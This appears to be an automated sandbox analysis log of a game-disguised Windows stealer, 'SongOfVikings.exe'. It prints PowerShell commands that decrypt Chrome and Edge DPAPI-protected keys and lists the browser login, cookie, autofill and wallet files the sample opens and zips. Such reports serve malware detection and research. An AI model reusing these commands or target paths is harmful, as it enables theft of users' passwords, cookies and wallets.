Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'currentuser') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'currentuser')
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp Binary or memory string: ..\..\electron\shell\browser\ui\views\electron_views_delegate_win.ccGetAppbarAutohideEdgesShell_TrayWnd
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Programs\SongOfVikings\resources VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\d6298ec28377d406207230300ffe3af0\Wallets VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\d6298ec28377d406207230300ffe3af0 VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\d6298ec28377d406207230300ffe3af0\Wallets VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\d6298ec28377d406207230300ffe3af0\Wallets\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\d6298ec28377d406207230300ffe3af0\Wallets\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\d6298ec28377d406207230300ffe3af0\Wallets VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\d6298ec28377d406207230300ffe3af0\Wallets\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\d6298ec28377d406207230300ffe3af0\Wallets VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\Downloads VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\d6298ec28377d406207230300ffe3af0.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\cookies.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Autofills.txt VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Passwords.txt VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040338F
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

barindex
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.db Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs